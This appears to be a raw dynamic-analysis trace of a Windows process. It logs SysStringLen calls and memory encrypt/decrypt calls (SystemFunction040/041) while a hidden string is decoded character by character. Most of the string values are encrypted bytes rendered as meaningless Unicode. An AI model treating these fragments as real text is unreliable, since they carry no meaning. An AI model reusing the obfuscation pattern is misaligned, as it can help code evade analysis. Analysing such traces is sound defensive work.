0x0 [0257.633] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.633] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.633] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.633] SysStringLen (param_1="N5") returned 0x8 [0257.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.633] SysStringLen (param_1="ﴘꕑ惶趈攛還ஔ") returned 0x8 [0257.633] SysStringLen (param_1="ﴘꕑ惶趈攛還ஔ") returned 0x8 [0257.633] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.633] SysStringLen (param_1="N51") returned 0x8 [0257.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.634] SysStringLen (param_1="덐珐祲㿠范龽朑붆") returned 0x8 [0257.634] SysStringLen (param_1="덐珐祲㿠范龽朑붆") returned 0x8 [0257.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.634] SysStringLen (param_1="N517") returned 0x8 [0257.634] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.634] SysStringLen (param_1="뒮ꃹ곀꒷ᣳ닢稢") returned 0x8 [0257.634] SysStringLen (param_1="뒮ꃹ곀꒷ᣳ닢稢") returned 0x8 [0257.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.634] SysStringLen (param_1="N517V") returned 0x8 [0257.634] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.634] SysStringLen (param_1="\췚\仝캑⇿矈") returned 0x8 [0257.634] SysStringLen (param_1="\췚\仝캑⇿矈") returned 0x8 [0257.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.635] SysStringLen (param_1="N517VP") returned 0x8 [0257.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.635] SysStringLen (param_1="蹐㺫Ȑﲇ뽏ꢘ裮炯") returned 0x8 [0257.635] SysStringLen (param_1="蹐㺫Ȑﲇ뽏ꢘ裮炯") returned 0x8 [0257.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.635] SysStringLen (param_1="N517VPE") returned 0x8 [0257.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.635] SysStringLen (param_1="搐䓗喋몎콣ﶟ侃") returned 0x8 [0257.635] SysStringLen (param_1="搐䓗喋몎콣ﶟ侃") returned 0x8 [0257.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.635] SysStringLen (param_1="N517VPEv") returned 0x8 [0257.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.636] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜") returned 0x8 [0257.636] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜") returned 0x8 [0257.636] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜") returned 0x8 [0257.636] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜") returned 0x10 [0257.636] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.637] SysStringLen (param_1="N517VPEvD叱拯\㋚궭콞⟝⊎) returned 0x10 [0257.637] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.637] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜쥕脺竆쮵憶ẅ") returned 0x10 [0257.637] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜쥕脺竆쮵憶ẅ") returned 0x10 [0257.637] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.637] SysStringLen (param_1="N517VPEvDg拯\㋚궭콞⟝⊎) returned 0x10 [0257.637] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.637] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜泃쬴㼴큤酦\⧛仭∻) returned 0x10 [0257.637] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜泃쬴㼴큤酦\⧛仭∻) returned 0x10 [0257.637] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.637] SysStringLen (param_1="N517VPEvDge\㋚궭콞⟝⊎) returned 0x10 [0257.637] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜츶퀴譁㚽綜쇘鎞촥") returned 0x10 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜츶퀴譁㚽綜쇘鎞촥") returned 0x10 [0257.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.638] SysStringLen (param_1="N517VPEvDgeU괲庭\⟝⊎) returned 0x10 [0257.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜菊윴쪊騎岤皶") returned 0x10 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜菊윴쪊騎岤皶") returned 0x10 [0257.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.638] SysStringLen (param_1="N517VPEvDgeUB庭\⟝⊎) returned 0x10 [0257.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜늎હԜТ㯛뛵뛱썢") returned 0x10 [0257.638] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜늎હԜТ㯛뛵뛱썢") returned 0x10 [0257.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.639] SysStringLen (param_1="N517VPEvDgeUBw\⟝⊎) returned 0x10 [0257.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.639] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜륶皩䪝ᶤࠣ\篚⛛∝) returned 0x10 [0257.639] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜륶皩䪝ᶤࠣ\篚⛛∝) returned 0x10 [0257.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.639] SysStringLen (param_1="N517VPEvDgeUBwp踧") returned 0x10 [0257.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.639] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜Ꮜ⶿䟥\뫟롱≡) returned 0x10 [0257.639] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜Ꮜ⶿䟥\뫟롱≡) returned 0x10 [0257.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.640] SysStringLen (param_1="N517VPEvDgeUBwpY") returned 0x10 [0257.640] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.640] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\⋘) returned 0x10 [0257.640] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\⋘) returned 0x10 [0257.640] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\⋘) returned 0x10 [0257.641] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\⋘) returned 0x18 [0257.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.641] SysStringLen (param_1="N517VPEvDgeUBwpYGᷭሻ㕱ឿ\틚옆∕) returned 0x18 [0257.641] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.641] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\肆呞抇夵윧Ⱍ≑) returned 0x18 [0257.641] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\肆呞抇夵윧Ⱍ≑) returned 0x18 [0257.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.641] SysStringLen (param_1="N517VPEvDgeUBwpYGUሻ㕱ឿ\틚옆∕) returned 0x18 [0257.641] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.641] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\퇘憙㌲缯㦐幏闘∑) returned 0x18 [0257.641] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\퇘憙㌲缯㦐幏闘∑) returned 0x18 [0257.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="N517VPEvDgeUBwpYGU8㕱ឿ\틚옆∕) returned 0x18 [0257.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\跘㌽땖ꇾ共궳⬴ᡴ≛) returned 0x18 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\跘㌽땖ꇾ共궳⬴ᡴ≛) returned 0x18 [0257.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="N517VPEvDgeUBwpYGU89ឿ\틚옆∕) returned 0x18 [0257.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\께熒\퇚侵㖞걣\濘∵) returned 0x18 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\께熒\퇚侵㖞걣\濘∵) returned 0x18 [0257.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="N517VPEvDgeUBwpYGU89t\틚옆∕) returned 0x18 [0257.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\鋩䥃뇜謹쟊᜸襞≳) returned 0x18 [0257.642] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\鋩䥃뇜謹쟊᜸襞≳) returned 0x18 [0257.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.643] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPےᗆ") returned 0x18 [0257.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.643] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\虰퓩ꇞ╈ﮅ⎓蛱⊦) returned 0x18 [0257.643] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\虰퓩ꇞ╈ﮅ⎓蛱⊦) returned 0x18 [0257.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.643] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHᗆ") returned 0x18 [0257.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.643] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\㗘ꀥ牱穣땷Ꙕꈣ媜∓) returned 0x18 [0257.643] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\㗘ꀥ牱穣땷Ꙕꈣ媜∓) returned 0x18 [0257.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.643] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHn") returned 0x18 [0257.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.644] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵≼) returned 0x18 [0257.644] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵≼) returned 0x18 [0257.644] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵≼) returned 0x18 [0257.644] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵≼) returned 0x20 [0257.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.644] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY棃댩똚䗹൦蚖넲") returned 0x20 [0257.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵쎊Ⲡᯆ㲚톮ㆲ∥) returned 0x20 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵쎊Ⲡᯆ㲚톮ㆲ∥) returned 0x20 [0257.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.645] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8댩똚䗹൦蚖넲") returned 0x20 [0257.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵嚿쨝闽ꨎ䐕∗) returned 0x20 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵嚿쨝闽ꨎ䐕∗) returned 0x20 [0257.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.645] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8H똚䗹൦蚖넲") returned 0x20 [0257.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵汼恣箭毪螝쐇ඁ≤) returned 0x20 [0257.645] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵汼恣箭毪螝쐇ඁ≤) returned 0x20 [0257.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HH䗹൦蚖넲") returned 0x20 [0257.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ټ૒ꩺ䧳\\㫜丟\ӛ") returned 0x20 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ټ૒ꩺ䧳\\㫜丟\ӛ") returned 0x20 [0257.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT൦蚖넲") returned 0x20 [0257.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵屼砀㄀㠀\峝᪸蜉嗦求푄") returned 0x20 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵屼砀㄀㠀\峝᪸蜉嗦求푄") returned 0x20 [0257.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT1蚖넲") returned 0x20 [0257.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ꉼ뾗ཬ㦃␤ఇ㦌氇≦) returned 0x20 [0257.646] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ꉼ뾗ཬ㦃␤ఇ㦌氇≦) returned 0x20 [0257.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.647] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12넲") returned 0x20 [0257.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.647] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵噼ᠥ铕尛砀㤀挀ࠀ³\") returned 0x20 [0257.647] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵噼ᠥ铕尛砀㤀挀ࠀ³\") returned 0x20 [0257.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.647] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12V") returned 0x20 [0257.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.647] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅⊓) returned 0x20 [0257.647] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅⊓) returned 0x20 [0257.647] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅⊓) returned 0x20 [0257.648] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅⊓) returned 0x28 [0257.648] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.648] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12Vd顟륋ض⥯댮䰖廚") returned 0x28 [0257.648] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.648] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䮓牷⳦仆ㄦᑂ▢픦∮) returned 0x28 [0257.648] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䮓牷⳦仆ㄦᑂ▢픦∮) returned 0x28 [0257.648] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.648] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdV륋ض⥯댮䰖廚") returned 0x28 [0257.648] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.648] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ꎓ䱁䩞颬敖䔓エ∆) returned 0x28 [0257.649] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ꎓ䱁䩞颬敖䔓エ∆) returned 0x28 [0257.649] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.649] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrض⥯댮䰖廚") returned 0x28 [0257.649] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.649] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅㊓笠▣̛呮⊩) returned 0x28 [0257.649] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅㊓笠▣̛呮⊩) returned 0x28 [0257.649] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.649] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrE⥯댮䰖廚") returned 0x28 [0257.649] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.649] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ﺓᓟ腯泐䴫﯃≽) returned 0x28 [0257.649] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ﺓᓟ腯泐䴫﯃≽) returned 0x28 [0257.649] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.649] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEy댮䰖廚") returned 0x28 [0257.649] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅삓\쫘៚⯷繾溶ᠪ峒") returned 0x28 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅삓\쫘៚⯷繾溶ᠪ峒") returned 0x28 [0257.650] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.650] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJ䰖廚") returned 0x28 [0257.650] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅莓ⶹ⠦常驤嶉ᠤ╥≀) returned 0x28 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅莓ⶹ⠦常驤嶉ᠤ╥≀) returned 0x28 [0257.650] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.650] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC廚") returned 0x28 [0257.650] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ん藱걅礡雈蔙㳧ކ∤) returned 0x28 [0257.650] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅ん藱걅礡雈蔙㳧ކ∤) returned 0x28 [0257.650] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.651] SysStringLen (param_1="N517VPEvDgeUBwpYGU89tPHnY8HHT12VdVrEyJC+") returned 0x28 [0257.651] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.651] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ⊣) returned 0x28 [0257.651] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ⊣) returned 0x28 [0257.651] SysStringLen (param_1="쀜此ᖆ恲⛝꺼䌜་╸敒辿鱐泯疡\䷘嚕䁐퓄ᘌ᧎৵ɼ쩟⊠肼冢攅䖓킿ﮙꓯ䯯㭮ꈹ⊣) returned 0x28 [0257.651] SysStringLen 